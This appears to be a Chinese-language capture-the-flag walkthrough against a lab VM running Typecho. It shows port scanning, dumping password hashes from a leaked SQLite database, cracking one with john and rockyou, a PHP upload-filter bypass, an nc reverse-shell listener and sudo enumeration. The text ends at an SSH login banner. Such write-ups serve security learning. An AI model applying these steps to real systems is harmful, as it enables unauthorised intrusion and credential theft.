kali@kali [~] ➜ sudo nmap -sT -p- --min-rate 1000 192.168.1.29 [18:01:55] Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-21 18:02 CST Nmap scan report for 192.168.1.29 Host is up (0.0024s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:1E:E9:51 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds
kali@kali [~] ➜ sqlite3 new.sql [18:12:08] SQLite version 3.46.1 2024-08-13 09:16:08 Enter ".help" for usage hints. sqlite> .tables typechocomments typechometas typechousers typechocontents typechooptions typechofields typechorelationships sqlite> select * from typechocomments; 1|1|1690361071|Typecho|0|1||https://typecho.org|127.0.0.1|Typecho 1.2.1|欢迎加入 Typecho 大家族|comment|approved|0 sqlite> select * from typechometas; 1|默认分类|default|category|只是一个默认分类|1|0|0 sqlite> select * from typechousers; 1|zacarx|$P$BhtuFbhEVoGBElFj8n2HXUwtq5qiMR.|zacarx@qq.com|http://www.zacarx.com|zacarx|1690361071|1692694072|1690364323|administrator|9ceb10d83b32879076c132c6b6712318 2|admin|$P$BERw7FPX6NWOVdTHpxON5aaj8VGMFs0|admin@11.com||admin|1690364171|1690365357|1690364540|administrator|5664b205a3c088256fdc807791061a18 sqlite>
泄露了管理员的密码，直接拿出去爆破
1 2 3 4 5 6 7 8 9 10
kali@kali [~] ➜ john -w=/usr/share/wordlists/rockyou.txt x [18:21:03] Using default input encoding: UTF-8 Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3]) Cost 1 (iteration count) is 8192 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status 123456 (?) 1g 0:00:00:00 DONE (2025-01-21 18:21) 50.00g/s 19200p/s 19200c/s 19200C/s 123456..michael1 Use the "--show --format=phpass" options to display all of the cracked passwords reliably Session completed.
是弱密码，感觉像白忙活了，登录后台，上传文件
先加上.php，才可以保证能够上传
监听端口，获取反弹shell
1 2 3 4 5 6 7 8 9
kali@kali [~] ➜ nc -lvnp 8888 [18:28:46] listening on [any] 8888 ... connect to [192.168.1.4] from (UNKNOWN) [192.168.1.29] 56010 bash: cannot set terminal process group (1256): Inappropriate ioctl for device bash: no job control in this shell www-data@za_1:/var/www/html/usr/uploads/2025/01$ whoami whoami www-data www-data@za_1:/var/www/html/usr/uploads/2025/01$
提权
1 2 3 4 5 6 7 8 9
www-data@za_1:/var/www/html/usr/uploads/2025/01$ sudo -l sudo -l Matching Defaults entries for www-data on za_1: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User www-data may run the following commands on za_1: (za_1) NOPASSWD: /usr/bin/awk www-data@za_1:/var/www/html/usr/uploads/2025/01$
kali@kali [~] ➜ ssh za_1@192.168.1.29 [18:36:07] The authenticity of host '192.168.1.29 (192.168.1.29)' can't be established. ED25519 key fingerprint is SHA256:oSJ0TcpNx9A3oiP98T03MZQ2oihLUNvFsNtehmlqYug. This host key is known by the following other names/addresses: ~/.ssh/known_hosts:13: [hashed name] Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.1.29' (ED25519) to the list of known hosts. Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-213-generic x86_64)
System information as of Tue Jan 21 10:36:12 UTC 2025
System load: 0.0 Processes: 108 Usage of /: 21.4% of 19.52GB Users logged in: 0 Memory usage: 19% IP address for enp0s3: 192.168.1.29 Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s just raised the bar for easy, resilient and secure K8s cluster deployment.
